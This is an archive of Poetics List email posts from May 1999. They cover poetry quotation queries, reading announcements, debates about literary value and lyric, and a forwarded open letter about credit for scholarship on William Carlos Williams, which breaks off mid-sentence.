Poet who failed to get a number: why is it that we all get touchy about being named and yet we're willing implicitly to talk about the mainstream as if we knew what it consisted of?

Several poets in unison: so who is going to read this weeks poem?

17th poet: it seems that i'm the only one who has anything to read this week. but i don't want to read it because you're all going to be psychoanalyzing it. me.

Gertrude Steimpf: and no one had a poem to read that week and this was something that happened once and it is very interesting.

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109. **pete spence**

Re: American Social Identity Survey

Mon 10 May 1999

> *Well, Pete, I couldn't entirely limit my responses to 'physical objects,' but I tried to keep them within the limits of physical 'occasion'--i.e., those things which impinge upon us physically, in our 'real' lives. So:*

>
>--Dan Zimmerman
>
,,sorry mr Zimmerman i just sorta floated a bit o' reaction caused by an almost zero feeling for the project ie. american artifacts seem to wash up on everyones bit o' coast and i don't get too excited by this detritus, so i tossed in my QUAINT "how do you say guns fifty times" as say off the cuff reaction///yrs pete spence

---

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110. Billy Little
Re: query
Mon 10 May 1999

zukofsky said the first in a Test of Poetry

and tseliot said the second in?Tradition and Individual Talent?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

111. Dodie Bellamy
Re: SPT Re:reads the New American Poetry / Small Press Traffic
Tue 11 May 1999

> *dodie: how are Alan golding and M perloff poised on opposite sides of the fence? i have an intuitive idea of what you mean by this, but can you spell it out? thanks.*

Maria,

I'm hesitant to speak for Marjorie--or Alan. It was Marjorie who told me that they had different positions on this issue of inclusion/exclusion--and it was her suggestion that they do a panel together--a great suggestion. Alan has told me they've been having an ongoing conversation, and since he's going to be in San Diego before the event, they're flying to San Francisco together. I hope they don't talk themselves out before they get here!

I think it would be best to report on what they actually say rather than my inevitable misrepresenting their intentions here.

x,
Dodie

Small Press Traffic Literary Arts Center
at New College
766 Valencia Street
San Francisco, CA 94110
415/[redacted]

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112. Joseph Conte
Upper limit
Tue 11 May 1999

> *Date: Mon, 10 May 1999 14:30:19 -0600*
> *From: "Maria Damon (Maria Damon)" <[redacted]>*

>can someone tell me who said of poetry: "upper limit speech, lower limit
>music"? (i'd just written and caught "lover limit music") i know it's
>someone famous, but don't know whom.

> *can someone tell me who said "bad artists borrow, good artists steal"?*
>
> *were they both ezra pound?*

Maria:

Sure to be a flood of responses on these, but:

For
"An integral
Lower limit speech
Upper limit music"

see Louis Zukofsky, "A"-12. Note that the limits of the integral are the other way 'round from your recollection.

And I believe the comment re: great poets stealing is Eliot, more or less about _The Waste Land_. But I can't recall off hand in which essay he says this. Anyone know?

Joseph Conte

↑ Index

113. david bromige
"experiment"/seeing thru....
Tue 11 May 1999

John Lowther, thru which part of the langpo charade shall we hope to have someday seen?

Golly, I havent even seen thru the "Charge of the Light Charade" yet. I'm still trying to see thru "Ode to Autmn." Sometimes I think I see. DHLawrence was annoyed that he couldnt see thru Shelley's "Skylark," altho he feared he could.

I guess I'm finding the terms too simplistic (I do not mean simple). On which day shall this seeing-thru occur? (Could one be unable to see-thru the following day? I mean, I was stupid yesterday but I'm here today. Maybe you or another find me stupid today but cant be certain abt yesterday.

Its the need felt for "standards" that's distressing me. If someone presents it as a poem, then thats what it is. I might not care for it. Deaf, blind to its beauties.

How does the question even arise (of hewing to some standard)? Seems to me, only because there are course curricula and a semster is only 15 weeks long, so we cant teach everything, and we cant go random, and we cant teach just what I/you like, so we need standards to shape a picture of cause and effect, the american family tree. But this has nothing essential to do with poetry. Has it?

Pardon my flurry.It addresses only a small portion of yr letter & the greater debate to which you allude. Whether it addresses it as friendly witness or otherwise I cant even decide. I dont even know that it addresses anything. I was startled, thats all. And yelped. David

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114. **Stephen Cope**

Re: POETICS Digest - 6 May 1999 to 7 May 1999 (#1999-89)

Tue 11 May 1999

Rachel, list, et al -

Rachel's questions vis-a-vis the lyric are precisely what I was looking for in offering my brief commets/critique - although, in the spirit of the kind of "negative capability" valorized by one of those so-called "great" exponents of lyric, I'd prefer to leave them as questions, or questions that serve as comments on the elasticity of the genre. The lyric is multiple, and can withstand numerous, perhaps contradictory, manifestations (despite what Patrick Phillips notes as the "incapacity of rubrics to see them.")

This is in fact what I had in mind in mentioning "lyric tension," by which I might offer one provisional 9and somewhat formal) defintion of what interests me in lyric: that it is a form capable of embodying contradictory or dissonant elements - i.e. tensions that it needn't (or doesn't) resolve. This, I think, would include the binary terms Rachel mentions (I/thou, subject/objectified, etc.), although I am much more interested in work wherein such terms are confused or problematized. It's a defintion, in any case, that would regard the lyrical "I-buttressed-by-its-objectified-other" as a cop out on the potentialities implicit in lyric address. And one could find examples of what I'm after in the Romantic canon - even in the purportedly "great" poems. Keats's Odes, for example (arguments over the critical interpretation of which are possibly one place where a re-investigation of lyric practice - the "lyric tradition" as such - is being or has been staged).

More recently, I think of some of Creeley's early work - the famous "whenever I speak I speaks...-" a fruitful problematic wherein the categorical distinction

between subject and object is all but broken down. Or, of Mackey's fractured "we" whose song is anything but co-optation. (Indeed, it might be interesting to turn up what differences obtain between the "we" in Mackey's Andoumboulou songs and the "we" of more conventionally "oppositional" poetries). Or what Gerald Schwartz brings up in mentioning the kind of "patching-in" to some energy source, which could be as Orphic as it is Job-like - i.e. it need not be a struggle, but could be construed in terms of enabling loss - and is an fact as ancient a trope for poetry as one might ever turn up.

I imagine this latter, in the lyric tradition, as having something to do with the muse, that most distinguished of Others in the Western poetic tradition, and a trope that is not without its overwhelming degree of baggage so far as gender is concerned. One could alternately, however, conceive of it in terms of what Susan Stewart proposes in her essay "Lyric Possession," where that latter term, by way of of a now somewhat well-worn reversal, is meant not in the proprietery sense, but denotes instead inhabitation. (It is an excellent essay that could serve as a starting point, I think, for any reconsiderations of lyric practice - contemporary or otherwise). We might think of "Muse and Drudge" this way - as one place, in any case, where the muse tradition's genderings are productively displaced...

Ok, enough for now,

Stephen

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115. Leonard Brink

Emmanuel Hocquard, Norma Cole

Tue 11 May 1999

THIS STORY IS MINE:
Little Autobiographical Dictionary of Elegy,

the English version of Emmanuel Hocquard's

CETTE HISTOIRE EST LA MIENNE: Petit dictionaire autobiographique de l'elegie (NOTES, 1997),

having been translated by Norma Cole

is now available from Instress, PO Box 3124, Saratoga, CA 95070 for a mere US$4. Please make checks payable to Leonard Brink.

As with all Instress chapbooks, a sample can be seen at http://home.sprintmail.com/~windhover

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116. Linda V Russo
Re: p o e t r y ; t e l i c o r n o t
Tue 11 May 1999

Or maybe the 'telic goal' of poetry isn't telic at all, it's anti-telic: to make sure there's no 'no poetry' -- the way that the 'telic goal' of medicine is to stave off death?

perhaps these terms are a little more inclusive (bearing in mind what Mr. Bromige had in mind) so that's it's not "what poetry is" that's at stake, but what the world (or the social and cultural complex) without poetry isn't.

Also, the notion of telos as you use it seems to propose some narrative trajectory which perhaps categorizes some poetry, but not poetry per se . . .

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117. R Democracy
Re: Stephanie Williams
Tue 11 May 1999

I encourage you to:

Check out the poetry and fiction of the amazing S. Williams at the following site.

http://www.mungovsranger.com/frames.htm

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118. Pritchett,Patrick
FW: translation day at DU
Tue 11 May 1999

> *TRANSLATION DAY AT DU*
> *MAY 14*
> *The 1999 Leo Block Lecture Series and*
> *the University of Denver Creative Writing Program*
> *present*
> *A day of activities around issues of*
> *TRANSLATION*
>
> *The Schedule*
>
> *2PM a talk by MARY ANN CAWS*
> *translator of Breton; scholar on the avant-garde*
> *speaks on "Translating the verbal and the visual"*
>
> *5PM readings by eminent local translators:*

> *Anselm Hollo*
> *Andrew Schelling*
> *Anne Waldman*
> *Mark Irwin*
> *& Brian Evenson*
>
> *6:30 reception & time for conversation*
>
> *7:45 Panel discussion on translation issues with*
> *MARY ANN CAWS*
> *CHARLES SIMIC*
> *& ARTHUR SZE*
> *and audience participation*
> *Please come share your views, questions, etc.*
>
> *SATURDAY, MAY 15TH*
> *7:30 PM*
> *CHARLES SIMIC reads his own poetry*
> *reception follows*
>
> *All events at the Renaissance Room; Mary Reed Building*
> *DU Campus*
> *Questions? Call* [redacted]

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119. Mark W Scroggins

Re: Upper limit

Tue 11 May 1999

Joseph's right on the 1st one; the second's Eliot from his "Philip Massinger" essay--and it's not quite "bad" & "good" artists: "one of the surest of tests is the way in which a poet borrows. Immature poets imitate; mature poets steal; bad poets deface what they take, and good poets make it into something better, or at least something different." (Selected Essays 182)

Mark Scroggins

On Tue, 11 May 1999, Joseph Conte wrote:

> *Date: Mon, 10 May 1999 14:30:19 -0600*
> *From: "Maria Damon (Maria Damon)" <*[redacted]*>*
>
> *can someone tell me who said of poetry: "upper limit speech, lower limit*
> *music"? (i'd just written and caught "lover limit music") i know it's*
> *someone famous, but don't know whom.*

> *can someone tell me who said "bad artists borrow, good artists steal"?*
>
> *were they both ezra pound?*
>
> *Maria:*
>
> *Sure to be a flood of responses on these, but:*
>
> *For*
> *"An integral*
> *Lower limit speech*
> *Upper limit music"*
>
> *see Louis Zukofsky, "A"-12. Note that the limits of the integral are the other way 'round from your recollection.*
>
> *And I believe the comment re: great poets stealing is Eliot, more or less about _The Waste Land_. But I can't recall off hand in which essay he says this. Anyone know?*
>
> *Joseph Conte*

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120. Poetics List

Note on re: query

Tue 11 May 1999

I've just sent a few representative responses to Maria's query - the number of responses was overwhelming (25, give or take), and all with basically the same content:

1. Zukofsky; the messages sent to the list, regarding which there is disagreement, were the only replies to specify a source for the quotation.
2. T. S. Eliot; but only Mark Scroggins managed to recall the citation.

Sorry to those of you whose responses weren't sent - with so many all the same and so brief, it would have been absurd to send them all; so I lighted on those that with the greatest specificity. Chris

% Christopher W. Alexander
% poetics list moderator

↑ Index

121. **Lowther,John**

Bromige and Lowther a puppet play

Tue 11 May 1999

Bromige and Lowther a puppet play
(both socks ventriloquised by Lowther)

[the setting is within a computer monitor glass removed]

Bromige (with an exasperated wiggle of his tube sock self): John Lowther, thru which part of the langpo charade shall we hope to have someday seen? I havent even seen thru the "Charge of the Light Charade" yet. I'm still trying to see thru "Ode to Autmn."

Lowther (curling his snout): did you not notice that i was reacting to another? (gasps and turns head side to side as if asking for witness) i thought i had made such, if not crystal, at least available to the careful eye.

Bromige: I guess I'm finding the terms too simplistic (I do not mean simple). (...) Its the need felt for "standards" that's distressing me. If someone presents it as a poem, then thats what it is. I might not care for it. Deaf, blind to its beauties."

Lowther: and i too am distressed for all that my mismatched button eyes cannot adequately portray this to you----but i wd ask you are we really so trusting in the designations that others give? i wd like to think so, but if handed a bill and asked to pay i was told that the bill was also a poem i can see disagreeing, i can see at least some skepticism coming into play. but that is a sideline in some respects. the motive for my posting was a essay previously mentioned in this forum called PRELIMINARY NOTES ON LITERARY POLITICS which you cd find in the newest issue of rhizome.

Bromige: How does the question even arise (of hewing to some standard)? Seems to me,only because there are course curricula and a semster is only 15 weeks long, so we cant teach everything, and we cant go random, and we cant teach
> just what I/you like, so we need standards to shape a picture of cause and
> effect, the american family tree. But this has nothing essential to do
> with poetry. Has it? (questioning tilt to an eye)
>
Lowther: i wdn't think so and yet there are people making claims like these for 'standards' and so i thought it might be worth asking every question i cd think of in response --- if only to suggest that others also take a look and state their thoughts as well.

and many i've talked to have said something like 'why not just ignore it?' and i wonder that too but what makes this such a weird thing that i feel in some sense compelled to respond to is that i love the rest of

the issue of rhizome --- it's full of great work by lots of interesting folks --- and yet this essay...

Bromige (mouth around a punch glass): Pardon my flurry.

Lowther: no, pardon mine, perhaps i should have been more explicit?

Bromige: (yelping) I was startled, thats all. And yelped.

Lowther: yelp! yelp!

↑ Index

122. Pritchett,Patrick

Re: Left Hand Reading Series - May 18, 1999

Tue 11 May 1999

> **** SPECIAL LEFT HAND READING SERIES AT TROUBADOUR BOOKS ****
>
> *(Please note different location and time)*
>
> *This month, the Left Hand Reading Series will depart from its customary venue to hold a special reading in conjunction with Troubadour Books.*
>
> *TUESDAY, MAY 18, 7:30pm*
>
> *The featured readers are:*
> *Novelist RON SUKENICK*
> *&*
> *Poet LAURA MULLEN*
>
> *RON SUKENICK is one of America's most acclaimed avant-garde novelists and an indefatigable champion of the small press. He is the author of many books, including UP, DOWN & IN, and DOGGY BAG. His latest novel, MOSAIC MAN (Fiction Collective 2), is an exploration of Jewish identity in the fragmentary context of electronic and popular culture. He is the editor of American Book Review, Black Ice Magazine and Black Ice Books, and teaches English at the University of Colorado.*
>
> *LAURA MULLEN's first book, THE SURFACE, was a 1991 selection in the prestigious National Poetry Series. Her latest collection of poetry is AFTER I WAS DEAD (Univ. of Georgia Press) and her TALES OF HORROR is forthcoming from Kelsey St. Press. Mullen's work has appeared in The New Yorker, Antaeus and Lingo. She is a professor of English at Colorado State University.*
>
> *TROUBADOUR BOOKS is located at 1638 Pearl Street, Boulder, Between 16th & 17th.*
>
> *FREE - Donations are requested.*

> *An Open Reading will precede the featured readers.*
>
> *For more information, contact: Mark DuCharme ([redacted]) or Patrick Pritchett ([redacted]).*
>
> *The Left Hand Reading Series is funded in part by grants from the Boulder Arts Commission and AHAB.*

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123. Jeffrey Jullich
Questions on a HOW-TO [value]
Tue 11 May 1999

John Lowther's past three posts, in response to Standard Schaefer's essay, raises many unanswered questions. (Many, many questions.) One vein in that inquiry I read as about ~value,~ criteria, and standards.

> where are we to locate these 'formal criteria'
* > does experimental writing lack formal criteria ?
> or can we say 'this IS a poem' about anything we wish?
> in calling out for standards with which to judge are we not calling out for some authority?
> art wherein there are no standards of this sort and no communal goals
> aren't there folks who wd like to say that there are standards and ways to say what is or is not valid as literary or artistic practice?

The next question that comes out of all these (like hydra heads!), for me, is: why do we ~need~ to keep returning to a practice of "literary value," criteria and standards? Clearly, work has become widespread in the past quarter century, if not earlier, which puts into question ("problematizes") or renders useless earlier criteria of judgment: "good"/"better"/"best", "like"/"dislike", "masterpiece"/"genius". Post-modernism has set into play a body of works where not only is it tenuous how to value one over another, but how to distinguish within a poem itself what portions might "succeed" and which "fail" according to any casual standards of criticism. (Hence, the shift in editorial practices, which are now as a rule a flat acceptance/rejection-- since how else to arbitrate between one line and the next?) And yet, the question ("does experimental writing lack formal criteria ?") keeps coming up, as though there were too strong a nostalgic attachment to a criterion-view of art for even the initiated to part with such (Solomonic) judgments.

I find it helpful to contextualize the anxiety over value, by placing it against the very much ~value-producing~ society that wants to think that way, namely, for

want of a better word, our "capitalist" world ("free market") where the assigning of value -- literalized into value-as-price -- is the very essence of exchange. Then, the value and "criteria" we fret over not having for art becomes a ~metaphoric~ sublimation for the more decisive matter of price. What is "really" being asked is: what ~price~ am I to assign to this art, this poem, that poem? Then, what happens to this all-important compulsion to judge and value, when the work no longer bears easy markers for such a judgment-game.

It may be a weakness of mine to draw in visual artworks as analogies, which (like the Robert Morris) people then don't know how to take, but there sometimes seems something self-evident about the visual arts which, if it can be grasped, brings the same point, more elusive in literature, to the surface. This time I'd bring in Warhol's silkscreen and Duchamp's readymades as comparison. Once silkscreens entered into fine arts as a "means of production" (sorry), their labor-efficiency greatly jeopardized the earlier value-criteria of labor intensivenesss and time ("Can you imagine how long it took to paint that Wyeth!?"). That the market actually did absorb Warhols side by side with traditional, brushstroke paintings is remarkable: the Trojan Horse had then gotten within the gates; the computer virus has entered the system. -- The same crisis of value erupts around a Duchamp readymade, where there is virtually ~no~ conventional criterion of workmanship or virtuosity. But for Warhols and Duchamps to be weighed in alongside, say, a Monet or a pre-modernist, an Ingres, on the same equalizing scales of price and value meant that the value-game itself had fallen open into a gaping, undetected contradiction.

Now, just such a contradiction has entered into the body of contemporary literature, with poetries such as ~aleatory~ works, "concrete" or found poetry, the a-syntactical, etc. It makes perfect sense that a book like ~The Tennis Court Oath~ continues to take such a drubbing from the forces of "conservatism," because ~The Tennis Court Oath~ has not merely done ~badly~ what other poetries have done "better"; it has sidestepped, or transcended the very basis of production, of writing that was taken for granted: that a poet "think up" on his own all the words and word-orders within a poem. (Why don't we just continue to use qull pens and inkwells, the way Robert Graves did?) It isn't just that if we give it the old college try once more we can ~come up with~ new criteria and standards, the ghosts of obsolete criteria, a rigor mortis of value, and relax again into our tranquilizing, habitual need to dispense value. Irreconciliabilities have, surreptitiously, entered into "The System" of literature and canon,--- that are as incongruent with the "traditional" as an attempt by a capitalist/free market economy to communicate with a monastic or vow-of-poverty economy (thus, a digression: the persistent, odd

leverage a Vatican can exert against First and Second Worlds, consistently advocating in favor of Third or ~Fourth~ Worlds that share with it an immunity or exclusion from standard financial profit). Free verse alone represented a serious anomaly that a ~Princeton Encyclopedia of Poetry and Poetics~ scrambled preposteriously to rationalize (invoking spurious precedents like the quasi-metered cadences of Hebrew psalmody, as justification).

For, without these ~systematized~ prestidigitations of criteria, the burden of a reader's experience falls back upon very different guideposts,-- such as the analysis of power relations ("What partisan interests benefit from this work?"), "taste," nepotisms of who-knows-who, etc., that makes the lingering compulsion for value break down, unveiled, into a much more ~gritty~ host of determinisms. With "taste," do I even have a ~choice~ to like or dislike, or hasn't my allegiance of approval to an earlier work predetermined my obligation to "like" similar later works?

Along these lines, when Marjorie Perloff -- is it fair to mention her name? (hi, Marjorie) -- at the Barnard conference dropped the petite scandale of publicly asking what anybody sees in the poetry of Jorie Graham (invoking criteria such as "rhythm"! as though anyone in the room could still scan a Sapphic from an ithyphallic), I thought that a lost opportunity, . . . whereas had the question been re-framed as, say, "Given that, with a popular and reputable figure like Jorie Graham, I can't see anything in her work and I trust three-quarters of you can't either, ~what are the mechanisms~ of career-building, marketing, or the production of hype that could have so ignored the obvious?" that would have, in turn, provided a link back to the same mechanisms that advanced the reputations of the other seven readers, and the entire phenomenon of Language/lyric poetry. In other words, once the nebulousness of "taste" is put aside, what critique is forced to fall back upon are all the very ~real~ agencies of publicity, the prestige of select publishing venues, croneyism, whatever, but ~real.~

It becomes not a question of "How was it?" but ~"What~ was it?"

That's where the equal sign in "L=A=N=G=U=A=G=E" becomes emblematic. One way a spectre of this may have entered into earlier discussions was in the misunderstanding that Language Poetry could "mean anything" . . . as if people were correct in sensing that there might be some ~equivalence~ at play somewhere, but were off-the-mark in placing it at the semantic, instead of at the level of value. But the original, macrocosmic crisis of value is taking place around us all the time, in the fatuous equivalencies that capital, that the dollar can establish between complete incompatibles! I don't know if we ~should~ hope to be liberated, or exonerated, from a crisis of value in poetry/art at the microcosmic level. The discomfort that results from these aesthetic

equivalencies or undecideabilities may be an aperture through which the art-consumer can reach a broader understanding of the criterion-lessness at play in the culture at large. We may just be becoming ~un-deluded~ in literary/poetic spheres, about what still passes for unquestionable around us.

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124. Maria Damon (Maria Damon)

Re: Upper limit

Tue 11 May 1999

---

thanks to all who have responded!

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125. derek beaulieu / house press

Writers for change - a cross canada tour

Tue 11 May 1999

> PRESS RELEASE
> WRITERS FOR CHANGE-- A CROSS CANADA TOUR
>
> Five contemporary young Canadian writers will read at EM Media on
> Tuesday, May 18 at 7PM.
> The Vancouver chapter of the Asian Canadian Writers' Workshop is
> pleased to announce Writers for Change, a project to tour five
> writers--
>
> Rita Wong (monkeypuzzle, Press Gang 1998), Ashok Mathur (Once Upon
> and Elephant, Arsenal Pulp Press 1998), Rajinderpal S. Pal (pappaji
> wrote poetry in a language i cannot read, TSAR 1998), Tamai Kobayashi
> (Exile and the Heart, Women's Press 1998) and David Odhiambo (diss/ed
> banded nation, Polestar 1998)-- across the country late this spring.
> The writers will begin their tour in May 1999 and travel to
Vancouver,
> Calgary, Winnipeg, Toronto, Montreal and Halifax. In each of these
> cities they will visit local high schools in order to share their
work
> and discuss contemporary writing practices with Canadian students. Of
> particular but not exclusive focus to the discussions will be
> questions of tradition, historical context, race and language.
Writers
> will also discuss their own writing practices in order to give
> students a concrete sense of what it might mean to choose such a

> life's path. It is hoped that the visits will inspire among students
a
> passionate and on-going relationship with contemporary Canadian
> literature. The tour will also include at least one public reading in
> each city. Of the five writers, Rita Wong may be known among some of
> you as the 1997 winner of the Asian Canadian Writers' Workshop
> Emerging Writer Award. Her 1998 book of poetry, monkeypuzzle has been
> described by Calgary poet Fred Wah as "... salt and tongue poetry,
> with the intensity and taste of a lover... pungent in its insistence
> on the body marked and still breathing."
> David Odhiambo's first novel diss/ed banded nation is a
> polyrhythmic rap on urban life. The novel winds through jazz singer
> Benedict Ochieng's final days in the underbelly of Vancouver, where
he
> hides out in a seedy flophouse on the city's east side, evading
> immigration officials. With leaps of language and jump-cuts in
> perspective, Odhiambo fuses lush memories of Kenya with an
unflinching
> portrait of North American urban life.
> From Toronto's Future Bakery to the Old Man Dam in southern
> Alberta, Tamai Kobayashi's Exile and the Heart reveals the ordinary
> and extraordinary lives of Asian Canadian lesbians and their families
> with a quiet, intense passion. Sharron Proulx Turner writes of
> Kobayashi's work: "[Her] writing is rich and fluid, yet there is an
> incredible simplicity which creates a still-life quality in the full
> of the round."
> Rajinderpal S. Pal's pappaji wrote poetry in a language i cannot
> read is a series of poems that form a narrative whole. It leaps
> between past and present, between childhood and adulthood and between
> languages. Issues of cross-cultural politics and relationships are
> addressed. He also touches upon loss across generations and
migrations
> across continents. These questions are entwined with the search for
> the poet-father and the attempt to come to terms with the past.
> Once Upon an Elephant, a hilarious first novel by Ashok Mathur, is
> a fantastical contemporary re-telling of the creation story of
Ganesh,
> the elephant-headed Hindu deity. When the police find the remains of
a
> young man's head and an elephant's body they assume a murder has been
> committed, and the suspected killer goes to trial. But the courtroom
> appearance of Vignesvara, a manifestation of Ganesh with a young

man's
> body and an elephant's head, throws things into chaos: witnesses who
> testify in languages other than English, an accused who grows extra
> arms at will, and a murder victim who refuses to stay dead.
>
> Members of the press wishing interviews with any of the writers
are
> invited to contact co-ordinator Larissa Lai at [redacted] or by
> e-mail at [redacted].
>

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126. **kathylou**
Re: Nathaniel Mackey is
Tue 11 May 1999

What day is this reading?
Psych-ola: I've been in SF for several years and have yet
to hear Nate Mackey read here. Promises to be fabulous.
Kathy Lou Schultz
> Reading from What Said Serif
> 7:30 pm
> Modern Times Bookstore
> Valencia St.@20th

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127. **Pritchett,Patrick**
query
Tue 11 May 1999

I'd be grateful to anyone who could supply me with the email addresses for
E. Tracy Grinnell and Heather Thomas.
Patrick Pritchett
[redacted]

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128. **Christopher Reiner**
L.A. Reading this Sunday
Tue 11 May 1999

Joel Kuszai and Bill Marsh will be reading this Sunday, May 16, at

Cafe Balcony
12431 Rochester Avenue
(corner Santa Monica & Centenela)
Los Angeles, California

Time: 4 p.m.
Admission: $5 (and it all goes to the readers)

Joel Kuszai was born in Michigan, schooled at Reed and SUNY-Buffalo. He is the editor of Meow Press, which has published over 60 chapbooks since 1991. He is currently rewriting _The Wizard of Oz_ "with some help from Marx and others." Some of his earlier work can be found at: http://writing.upenn.edu/epc/presses/meow/ephemera.html

Bill Marsh lives in San Diego where he teaches writing and other multimedia arts. His work has appeared in a few on and off-line journals like Tinfish, the germ, Web Conjunctions, Witz, and Zine(n) New Media. His chapbook Making Flutes was published by Potes & Poets Press in 1998 and he has another one forthcoming from Wild Honey. Bill also edits PaperBrainPress featuring chapbooks and other paper and digital productions. More information on his work and his press can be found at http://bmarsh.dtai.com/

The reading is sponsored by L.A. Books, a coalition of presses in Los Angeles (Littoral Books, Rhizome, Ribot, Seeing Eye Books, and Witz. For more info on L.A. Books: http://www.litpress.com.

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129. Stephen Ellis
Re: NOTLEY on
Tue 11 May 1999

Chris,

love without politics is bottled wetland water from wetlands now extinct, despite they're still on the map. Have a drink: it all looks like fill gravel from here.

Stephen

> *From: Chris Stroffolino <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: NOTLEY on "the youth"....*
> *Date: Sat, 8 May 1999 11:03:14 -0400*
>
> *Hello---*
> *I love Alice Notley's writing, old and new,*
> *and I love the challenges she raises*

> *and the provocations, etc....*
>
> *in recent COMBO magazine interview, she talks about*
> *"an extremely exciting younger generation right now"*
> *(without naming names)*
>
> *and says, among other things...*
> *"They're these people between about 23 and 36....*
> *They're not very political, and I wish they were more political."*

I know Alice sometimes lurks on this list, and am curious if she'd be interested in elaborating on this lack of politics she perceives...

But, if she doesn't, perhaps others could...
I think there's a LOT of political in the younger...

speaking for myself, I've been told sometimes that my work is TOO political...

of course, it mixes politics up with love...

if the personal is the political,
if "politics" (in the global sense) without love (in the personal sense)
is like suburbs without cities, or cities without farmland,
then what is love without politics?

been thinking of poor phil ochs lately...

there's so many issues here she raises, i'm not going to go too deep now...

but i am interested in looking for other ways to frame this question,
because i respect and admire notley's poetry,
and her desire for a return perhaps to a more blatant concern
with politics on a content level,
a moving beyond coterie politics,

and i'm glad she can say "I HATE THE CAR" more blatantly than, say,
barrett watten in his "bride of the assembly line piece"....

but i think she perhaps hasn't become made aware that there
are certainly much politics (unless she means something different
by politics than i think she does) in writers between 23 and 36...

.....just curious....

chris stroffolino

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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130. **komninos zervos**
Re: Invitation to a Thought Experiment
Tue 11 May 1999

---

teach students html, give them internet accounts, and ask them to find sites with creative writing/authoring that excites them, sites which can not exist as print publications, sites which employ the properties of the internet(interactivity, hypertext, images, audio, animation), find out why they are impressed by these sites, and ask students to create their own sites with these qualities in mind. if they are thinking about writing in a new space then they will have to think creativly to write for this new medium, whilst utilizing all the traditional devices of literature. conducting creative writing classes in primary school i found the best way to encourage creative writing was to offer exercises with strict structures, eg haiku, limerick, acrostic poems. students had to think creatively to provide the content whilst having fun with the form. it was the same in secondary school except the forms changed, to list poems and raps. teaching at university i find that html provides the new fun form that makes the creative writing purposeful for their expression in a modern medium.

writers of the future will be writing for digital media, will need to start thinking in spaces not surfaces, will be able to call on the auditory and visual senses, as well as the cognitive and emotional.

html is easy, anyone can do it, but good websites are hard to find.

hope i haven't embarrassed myself too much with this post.
i'm sure you have plenty of good ideas of your own.
it sounds like you were just wanting 'a little bitch' about work.

regards
komninos

At 04:06 PM 5/12/99 -1000, you wrote:
>Dear poetics kine folks--
>
>I direct, though that is hardly the word, a creative writing program
>that is in exquisite need of re-thinking. So I'll share my thought
>experiment with you: You are assigned the task of running a creative
>writing program. What would you do? What functions would you assign to
>the program? What kinds of courses would you teach? What should
>faculty do _aside from_ teaching their courses? (I have ideas of my

>own, but am eager to see what some of the rest of you come up with.)
>
>Two provisos: You are given no money and you are dealing with a group of
>people that doesn't work together well and doesn't welcome change.
>
>But really, please dream on...the more positive the better!
>
>best, Susan Schultz
>
>

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131. Katie Degentesh
9x9 News
Tue 11 May 1999

One World Cafe, located at the juncture of Baker and McAllister streets in San Francisco's Western Addition, is for a limited time showcasing a complete catalog of 9x9's Pushcart Prize-winning broadside series. Featured artists include J. Tarin Towers (who won a 1998 Pushcart for her broadside "Mission Poem"), the Mysterious Mr. Clam, Paul LaFarge, Eugene Ostashevsky, David Cameron, Brandon Downing, Cyd Harrell, Michael Palmer, Elizabeth Treadwell, Sarah Anne Cox, Yedda Morrison, Daphne Gottleib, Katie Degentesh, Edmund Berrigan, Alan Kaufman, Hank Hyena, and others.

And a reminder: MICHAEL PALMER and JOCELYN SAIDENBERG will be reading this THURSDAY, MAY 13 at Adobe Books, smack in the middle of the Mission at 3166 16th St. between Guerrero and Valencia. Gathering begins at 8, reading 8:30 - come! Free broadsides of Michael Palmer's "Tower" will be available. Your emcee for the evening will be 9x9's own Eugene Ostashevsky, who is currently the featured poet of the week on PoetrySuperHighway.com.

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132. Tony Green
Re: Invitation to a Thought Experiment
Wed 12 May 1999

Creative Writing Class

Exercise 1: write two pieces --
1) a piece of creative writing
2) a piece of non-creative writing

Specify word-lengths etc

& take it from there.

Tony Green

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133. Michael Magee

OPEN LETTER TO RON PADGETT AND TEACHERS & WRITERS COLLABORATIVE (fwd)

Wed 12 May 1999

Thought this would be of interest to many on the list. Thanks to Al Filreis for passing it along to me. -Mike.

> *| From [redacted] Tue May 11 15:31:37 1999*
> *| From: [redacted]*
> *|*
> *| OPEN LETTER TO RON PADGETT*
> *| AND TEACHERS AND WRITERS COLLABORATIVE*
> *|*
> *|*
> *|*
> *| Ron Padgett, Editor*
> *| Teachers & Writers*
> *| 5 Union Square*
> *| New York, N.Y. 10003-3306*
> *|*
> *| Dear Ron:*
> *|*
> *| I don't usually make a spectacle of being omitted from an*
> *| anthology or a reading program, but I am doing so after learning that*
> *| Victor Hernandez Cruz was invited to contribute to T&W's collection of*
> *| essays on William Carlos Williams and will now give*
> *| a talk on Williams as part of "The People's Poetry Gathering." As that*
> *| gathering is subtitled "a celebration of the oral tradition," Victor*
> *| indeed does qualify to participate. But because his new mileage on the*
> *| subject of Williams comes from his siphoning from my work and because*
> *| you are promoting his doing it, I am voicing my impatience with you*
> *| and Victor and the larger meaning of your partnership.*
> *|*
> *| In 1994, a week or two before the pub date of my THE SPANISH*
> *| AMERICAN ROOTS OF WILLIAM CARLOS WILLIAMS, I received a rare phone*
> *| call from Victor, in which he informed me of his discovery that*
> *| Williams was really a Latino writer because his*
> *| mother was Puerto Rican. As her cultural origin was generally known, I*
> *| assumed that he had gotten the confidence to talk about a Hispanic*
> *| Williams from my earlier publication on the subject. [In 1986, I had*
> *| published "Mrs. Williams' William Carlos" in a collection of essays,*
> *| edited by others, titled REINVENTING THE AMERICAS: COMPARATIVE STUDIES*

| *OF LITERATURE OF THE U. S. AND SPANISH AMERICA (Cambridge)].*
|
| *Soon afterwards, when in conversation with E.J. Vega I mentioned*
| *Victor's phone call, Ed informed me that I was right about Victor's*
| *getting his notions of Williams from me but not from the source that I*
| *assumed. Ed, who had read my manuscript, explained that he had*
| *recently heard Victor read, and during the Q&A asked him if he was*
| *aware that Williams's mother was Puerto Rican, which explained the*
| *Carlos second name, and that Williams exhibited a Hispanic*
| *consciousness. Victor confessed that he didn't know about the mother*
| *and thought that "Carlos was a pen name." Ed then informed Victor that*
| *my book on the subject was about to be released. Nevertheless, at the*
| *time that Victor and I spoke on the phone, he feigned having no*
| *knowledge of my forthcoming book.*
|
| *(Amazingly, by the way, Julia Alvarez, who also figures in your*
| *Williams book and whose agent knew of my book more than a year before*
| *its publication, had also spontaneously discovered a Williams heritage*
| *and jotted some quick notes for a talk that--a rare missive--she*
